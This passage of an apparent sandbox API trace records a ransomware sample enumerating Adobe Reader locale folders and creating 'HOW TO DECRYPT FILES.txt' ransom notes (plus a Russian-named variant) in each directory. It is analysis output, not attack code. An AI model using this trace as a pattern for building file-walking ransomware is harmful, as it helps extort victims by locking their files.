lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.438] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.438] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Search.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" [0070.439] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1 [0070.439] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.439] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SendMail.CAT") returned -1 [0070.439] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SendMail.CAT") returned -1 [0070.439] lstrcmpiA (lpString1="", lpString2="SendMail.CAT") returned -1 [0070.439] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT") returned="Search.CAT" [0070.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.439] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.439] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.439] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.439] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="SendMail.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" [0070.439] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.439] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.439] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.439] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT") returned="SendMail.CAT" [0070.439] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" [0070.440] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.441] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.441] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.441] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.442] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.442] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.442] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.442] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DEXShare.asfx") returned 1 [0070.442] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DEXShare.asfx") returned 1 [0070.442] lstrcmpiA (lpString1="", lpString2="DEXShare.asfx") returned -1 [0070.442] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*.*") returned="*.*" [0070.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" [0070.442] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\") returned="" [0070.442] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt" [0070.442] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\how to decrypt files.txt")) returned 0xffffffff [0070.442] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0070.447] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.448] CloseHandle (hObject=0x98) returned 1 [0070.448] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\", lpString2="DEXShare.asfx" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx" [0070.448] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.448] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.448] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Services.asfx") returned -1 [0070.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Services.asfx") returned -1 [0070.449] lstrcmpiA (lpString1="", lpString2="Services.asfx") returned -1 [0070.449] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx") returned="DEXShare.asfx" [0070.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" [0070.449] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\") returned="" [0070.449] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt" [0070.449] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\how to decrypt files.txt")) returned 0x20 [0070.449] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\", lpString2="Services.asfx" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx" [0070.449] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.449] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.450] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0070.450] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.450] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Spelling.CAT") returned -1 [0070.450] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Spelling.CAT") returned -1 [0070.450] lstrcmpiA (lpString1="", lpString2="Spelling.CAT") returned -1 [0070.450] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*.*") returned="*.*" [0070.450] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.450] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.450] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.450] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.450] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Spelling.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" [0070.450] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.CAT", cAlternateFileName="")) returned 1 [0070.450] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="updater.CAT") returned -1 [0070.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="updater.CAT") returned -1 [0070.451] lstrcmpiA (lpString1="", lpString2="updater.CAT") returned -1 [0070.451] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT") returned="Spelling.CAT" [0070.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.451] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.451] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.451] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.451] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="updater.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" [0070.451] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x74, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1 [0070.451] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebLink.CAT") returned -1 [0070.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebLink.CAT") returned -1 [0070.451] lstrcmpiA (lpString1="", lpString2="WebLink.CAT") returned -1 [0070.451] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT") returned="updater.CAT" [0070.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.452] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.452] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.452] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.452] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="WebLink.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" [0070.452] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x74, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 0 [0070.452] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.452] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0070.452] lstrcmpA (lpString1=".", lpString2="cs_CZ") returned -1 [0070.452] lstrcmpA (lpString1="..", lpString2="cs_CZ") returned -1 [0070.452] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*") returned="*.*" [0070.453] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\", lpString2="cs_CZ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0070.453] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.456] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.456] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.456] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.456] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.456] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.CZE", cAlternateFileName="ACCESS~1.CZE")) returned 1 [0070.457] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.457] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="accessibility.CZE") returned 1 [0070.457] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="accessibility.CZE") returned 1 [0070.457] lstrcmpiA (lpString1="", lpString2="accessibility.CZE") returned -1 [0070.457] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*.*") returned="*.*" [0070.457] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.457] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.457] lstrcatA (in: lpString1="C:\\Program Files 